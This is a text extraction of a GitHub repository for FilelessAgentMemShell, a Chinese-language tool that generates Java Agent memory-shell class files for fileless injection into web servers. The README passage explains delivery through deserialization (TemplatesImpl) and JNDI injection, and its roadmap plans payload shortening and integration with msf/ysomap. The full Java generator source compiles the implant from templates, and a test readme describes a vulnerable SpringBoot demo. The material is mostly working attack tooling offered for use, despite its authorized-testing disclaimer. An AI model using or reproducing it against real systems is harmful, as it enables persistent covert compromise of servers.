内存马仅仅是代码执行的一种效果,并且它只有在**动态代码执行上下文**中才能发挥作用
什么叫动态代码执行上下文?一个很简单的例子,CC6链(套娃调用invoke,最终执行Runtime.getRuntime().exec())那条,就**不属于动态代码执行上下文**
详细请看Ruilin师傅的:http://rui0.cn/archives/1408
而那些能动态加载字节码的sink,比如反序列化漏洞中的templatesImpl,低版本JNDI注入,就属于动态代码执行上下文
利用工具生成最终类,其静态代码块中包含自注入逻辑;使用反序列化漏洞/JNDI注入漏洞让目标**动态加载类**,这就完成了攻击
## #4 已知问题
### 乱码问题
使用中如遇乱码,可使用chcp 936切换字符编码
### 目标环境限制
#### JDK
**`JDK8 ~ JDK11`**
#### OS
**暂未测试** `Windows 32bit`
**暂不支持** `Linux 32bit`
## #5 开发进度&更新计划
- [x] 测试所有可用的JDK版本
- [ ] 预置在常见宿主类中实现内存马逻辑的成品类
- [ ] 提供自动化缩短payload长度的逻辑;提供分割最终字节码的逻辑,以适配分块传输
- [ ] 实现msf、ysomap等工具的cli交互模式;提供英文版ReadMe;开发图形化
- [ ] 联动其它攻击工具,更方便地一次打入Agent内存马
- [ ] 实现 [**cincly**](https://xz.aliyun.com/u/14775) 师傅提出的“借尸还魂”技术
- [ ] 提供随机类名,规避类的重复加载问题
- [ ] 解决loadLibrary引起的一次攻击失败后续就不能再攻击问题
## #6 背景
本人在学习及实操无文件落地注入Agent内存马相关技术时需要经常测试可用的宿主类、不同JDK版本,有时还需要对shell逻辑进行修改,重复的修改、编译十分浪费时间
我意识到可以编写一款简单的小工具来解决这个问题,经过一段时间的工作和反复修改,**FilelessAgentMemShell**诞生了
## #7 免责申明
**未经目标授权**使用本项目(FilelessAgentMemShell)给**目标**植入内存马**是非法的**,本项目**应用于且仅用于授权的安全测试**与学习研究目的
**任何使用及滥用本项目造成的后果与本人无关**
================================================
FILE: src/whocansee/AgentMemshell/main0.java
================================================
package whocansee.AgentMemshell;
import org.apache.commons.cli.*;
import javax.tools.JavaCompiler;
import javax.tools.ToolProvider;
import java.io.IOException;
import java.io.PrintStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Base64;
import java.util.Objects;
import static java.lang.System.out;
public class main0 {
public static final String ANSI_RESET = "\u001B[0m";
public static final String ANSI_BLACK = "\u001B[30m";
public static final String ANSI_RED = "\u001B[31m";
public static final String ANSI_GREEN = "\u001B[32m";
public static final String ANSI_YELLOW = "\u001B[33m";
public static final String ANSI_BLUE = "\u001B[34m";
public static final String ANSI_PURPLE = "\u001B[35m";
public static final String ANSI_CYAN = "\u001B[36m";
public static final String ANSI_WHITE = "\u001B[37m";
public static String classname;
public static String path;
public static String os;
public static void main(String[] args) throws Exception {
System.setOut(new PrintStream(System.out, true, "UTF-8"));
PrintStream out = new PrintStream(System.out, true, StandardCharsets.UTF_8.name());
Options options = new Options();
Option osOption = Option.builder("o")
.longOpt("os")
.desc(ANSI_RED+"Target Linux/Windows(目标操作系统)"+ANSI_RESET+"\n——————————————————————————————————————————————")
.required(true)
.hasArg(true)
.build();
Option jdkOption = Option.builder("i")
.longOpt("ifbeyondjdk8")
.desc(ANSI_CYAN+"true/false; If Target's JDKVersion > 8;only Windows requires(目标JDK版本是否大于8,仅目标为Windows时需要填写)"+ANSI_RESET+"\n——————————————————————————————————————————————")
.hasArg(true)
.build();
Option pathOption = Option.builder("p")
.longOpt("path")
.desc(ANSI_BLUE+"Path to the new classByte,eg:/path/test.class (新类字节码的路径)"+ANSI_RESET+"\n——————————————————————————————————————————————")
.hasArg(true)
.required(true)
.build();
Option templatesimplOption = Option.builder("t")
.longOpt("templatesimpl")
.desc(ANSI_GREEN+"true/false; Whether or not using templatesImpl to load classByte." +
"(是否使用templatesImpl完成 类字节码加载"+ANSI_RESET+ANSI_RESET+"\n——————————————————————————————————————————————")
.hasArg(true)
.required(true)
.build();
Option classnameOption = Option.builder("c")
.longOpt("classname")
.desc(ANSI_YELLOW+"Classname of the class to be replaced(宿主类的全限定类名)"+ANSI_RESET+"\n——————————————————————————————————————————————")
.hasArg(true)
.required(true)
.build();
Option osbitOption = Option.builder("b")
.longOpt("bit")
.desc(ANSI_PURPLE+"32/64; Plz input target's os-bit; " +
"Only Windows target available." +
"(目标操作系统位数,仅对于Windows目标可指定)"+ANSI_RESET+"\n——————————————————————————————————————————————")
.hasArg(true)
.build();
options.addOption(classnameOption);
options.addOption(pathOption);
options.addOption(templatesimplOption);
options.addOption(osOption);
options.addOption(jdkOption);
options.addOption(osbitOption);
try {
CommandLineParser parser = new DefaultParser();
CommandLine cmd = parser.parse(options, args);
String pointLength = "8";
boolean ifBeyondJDK8 = true;
String osbit = "64";
os = cmd.getOptionValue("o");
path = cmd.getOptionValue("p");
boolean templateImpl = Boolean.parseBoolean(cmd.getOptionValue("t"));
classname = cmd.getOptionValue("c");
if (Objects.equals(os, "Windows")) {
ifBeyondJDK8 = Boolean.parseBoolean(cmd.getOptionValue("i"));
out.println(ANSI_CYAN+"ifBeyondJDK8: " + ifBeyondJDK8+ANSI_RESET);
osbit = cmd.getOptionValue("b");
if (Objects.equals(osbit, "32"))
{pointLength = "4";}
out.println(ANSI_PURPLE+"osbit: " + osbit+ANSI_RESET);
}
out.println(ANSI_RED+"os: " + os+ANSI_RESET);
out.println(ANSI_BLUE+"ClassFilepath: " + path+ANSI_RESET);
out.println(ANSI_YELLOW+"classname: " + classname+ANSI_RESET);
out.println(ANSI_GREEN+"ifUseTemplatesImpl: " + templateImpl+ANSI_RESET);
String AgentMemSrc = "";
if (Objects.equals(os, "Linux") || Objects.equals(os, "linux")) {
if (templateImpl) {
AgentMemSrc = new String(Files.readAllBytes(Paths.get("MemShellSrc\\LinuxAgentMemShellWithTpl")), StandardCharsets.UTF_8).replace("{{var1}}", classname).replace("{{var2}}", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}
else {
AgentMemSrc = new String(Files.readAllBytes(Paths.get("MemShellSrc\\LinuxAgentMemShell")), StandardCharsets.UTF_8).replace("{{var1}}", classname).replace("{{var2}}", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}
}
else if (Objects.equals(os, "Windows") || Objects.equals(os, "windows")) {
if (templateImpl) {
if (ifBeyondJDK8) {
AgentMemSrc = new String(Files.readAllBytes(Paths.get("MemShellSrc\\WindowsAgentMemShellBeyondJDK8WithTpl")), StandardCharsets.UTF_8).replace("{{var3}}", pointLength).replace("{{var1}}", classname).replace("{{var2}}", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}
else{
AgentMemSrc = new String(Files.readAllBytes(Paths.get("MemShellSrc\\WindowsAgentMemShellWithTpl")), StandardCharsets.UTF_8).replace("{{var3}}", pointLength).replace("{{var1}}", classname).replace("{{var2}}", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}
}
else if(ifBeyondJDK8) {
AgentMemSrc = new String(Files.readAllBytes(Paths.get("MemShellSrc\\WindowsAgentMemShellBeyondJDK8")), StandardCharsets.UTF_8).replace("{{var3}}", pointLength).replace("{{var1}}", classname).replace("{{var2}}", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}
else {
AgentMemSrc = new String(Files.readAllBytes(Paths.get("MemShellSrc\\WindowsAgentMemShell")), StandardCharsets.UTF_8).replace("{{var3}}", pointLength).replace("{{var1}}", classname).replace("{{var2}}", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}
}
else {
out.println("os error! Please input Linux or Windows");
return;}
String modifiedSourceFileName = "AgentMemShell.java";
saveSourceFile(modifiedSourceFileName, AgentMemSrc);
compileJavaFile(modifiedSourceFileName);}
catch (MissingOptionException e){
HelpFormatter formatter = new HelpFormatter();
System.out.println("如果遇到了乱码,请尝试使用chcp 936更改当前字符编码后再运行程序");
System.out.println("建议使用JDK8较低版本运行此程序,以生成兼容性更好的类字节码");
System.out.println("classname 类名必须是全限定名,如javax.servlet.http.HttpServlet");
formatter.printHelp("Missing Options!You must use -o -c -p -t at least. ", options);
}
}
private static void saveSourceFile(String sourceFileName, String sourceCode) {
try {
Files.write(Paths.get(sourceFileName), sourceCode.getBytes(), StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING);
} catch (IOException e) {
e.printStackTrace();
}
}
private static void compileJavaFile(String sourceFileName) {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
if (compiler == null) {
out.println(ANSI_RED+"Java Compiler not found. Make sure you are using a JDK."+ANSI_RESET);
return;
}
int compilationResult = compiler.run(null, null, null, "-d","out",sourceFileName);
if (compilationResult == 0) {
out.println(ANSI_GREEN+"Compilation successful. AgentMemShell Class file generated:"+"out/"+"AgentMemShell.class"+ANSI_RESET);
} else {
out.println(ANSI_RED+"Compilation failed."+ANSI_RESET);
}
}
}
================================================
FILE: testEnvironment/demo.jar
================================================
[File too large to display: 16.6 MB]
================================================
FILE: testEnvironment/readme.md
================================================
## demo.jar
SpringBoot 2.7.0 搭建的简易漏洞环境
在`/memShell/readObject?a=`路由处,可通过a参数传递base64编码后的序列化数据
在`/memShell/jndi?b=`路由处,可通过b参数传递base64编码后的 jndi url
## WsFilter.class
**`org.apache.tomcat.websocket.server.WsFilter`** 的新字节码
具体修改: 在`doFilter()`方法开始处插入了`Runtime.getRuntime.exec("calc")`
gitextract_xbzp2hf4/
├── FilelessAgentMemshellGenerator.iml
├── MemShellSrc/
│ ├── LinuxAgentMemShell
│ ├── LinuxAgentMemShellWithTpl
│ ├── README.md
│ ├── WindowsAgentMemShell
│ ├── WindowsAgentMemShellBeyondJDK8
│ ├── WindowsAgentMemShellBeyondJDK8WithTpl
│ ├── WindowsAgentMemShellWithTpl
│ └── repairTpl.java
├── README.md
├── src/
│ └── whocansee/
│ └── AgentMemshell/
│ └── main0.java
└── testEnvironment/
├── demo.jar
└── readme.md
SYMBOL INDEX (7 symbols across 2 files)
FILE: MemShellSrc/repairTpl.java
class repairTpl (line 8) | public class repairTpl extends AbstractTranslet {
method transform (line 24) | @Override
method transform (line 29) | @Override
FILE: src/whocansee/AgentMemshell/main0.java
class main0 (line 18) | public class main0 {
method main (line 33) | public static void main(String[] args) throws Exception {
method saveSourceFile (line 150) | private static void saveSourceFile(String sourceFileName, String sourc...
method compileJavaFile (line 157) | private static void compileJavaFile(String sourceFileName) {
Condensed preview — 13 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (92K chars).
[
{
"path": "FilelessAgentMemshellGenerator.iml",
"chars": 586,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<module type=\"JAVA_MODULE\" version=\"4\">\r\n <component name=\"NewModuleRootManager"
},
{
"path": "MemShellSrc/LinuxAgentMemShell",
"chars": 10025,
"preview": "import sun.misc.Unsafe;\r\nimport java.io.BufferedReader;\r\nimport java.io.FileReader;\r\nimport java.io.IOException;\r\nimport"
},
{
"path": "MemShellSrc/LinuxAgentMemShellWithTpl",
"chars": 10676,
"preview": "import sun.misc.Unsafe;\r\nimport java.io.BufferedReader;\r\nimport java.io.FileReader;\r\nimport java.io.IOException;\r\nimport"
},
{
"path": "MemShellSrc/README.md",
"chars": 846,
"preview": "## EXP来源\r\n\r\nhttps://xz.aliyun.com/t/11640\r\n\r\n对于Windows目标 [rebeyond](https://xz.aliyun.com/u/8697)\r\n\r\n对于Linux目标 [**游望之*"
},
{
"path": "MemShellSrc/WindowsAgentMemShell",
"chars": 12801,
"preview": "import sun.misc.Unsafe;\r\nimport java.io.IOException;\r\nimport java.lang.instrument.ClassDefinition;\r\nimport java.lang.ref"
},
{
"path": "MemShellSrc/WindowsAgentMemShellBeyondJDK8",
"chars": 12792,
"preview": "import sun.misc.Unsafe;\r\nimport java.io.IOException;\r\nimport java.lang.instrument.ClassDefinition;\r\nimport java.lang.ref"
},
{
"path": "MemShellSrc/WindowsAgentMemShellBeyondJDK8WithTpl",
"chars": 12792,
"preview": "import sun.misc.Unsafe;\r\nimport java.io.IOException;\r\nimport java.lang.instrument.ClassDefinition;\r\nimport java.lang.ref"
},
{
"path": "MemShellSrc/WindowsAgentMemShellWithTpl",
"chars": 12800,
"preview": "import sun.misc.Unsafe;\r\nimport java.io.IOException;\r\nimport java.lang.instrument.ClassDefinition;\r\nimport java.lang.ref"
},
{
"path": "MemShellSrc/repairTpl.java",
"chars": 1623,
"preview": "package org.example;\r\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\r\nimport com.sun.org.apache.xalan.internal.xslt"
},
{
"path": "README.md",
"chars": 4195,
"preview": "# FilelessAgentMemShell\r\n\r\n## #1 简单介绍\r\n\r\nFilelessAgentMemShell是一款用于自定义生成**用于注入Agent内存马**的classFile的小工具\r\n\r\nAgent内存马的工作原理是"
},
{
"path": "src/whocansee/AgentMemshell/main0.java",
"chars": 8973,
"preview": "package whocansee.AgentMemshell;\r\n\r\nimport org.apache.commons.cli.*;\r\n\r\nimport javax.tools.JavaCompiler;\r\nimport javax.t"
},
{
"path": "testEnvironment/readme.md",
"chars": 303,
"preview": "## demo.jar\r\n\r\nSpringBoot 2.7.0 搭建的简易漏洞环境\r\n\r\n在`/memShell/readObject?a=`路由处,可通过a参数传递base64编码后的序列化数据\r\n\r\n在`/memShell/jndi?b"
}
]
// ... and 1 more files (download for full content)
About this extraction
This page contains the full source code of the whocansee/FilelessAgentMemShell GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 13 files (16.6 MB), approximately 34.8k tokens, and a symbol index with 7 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.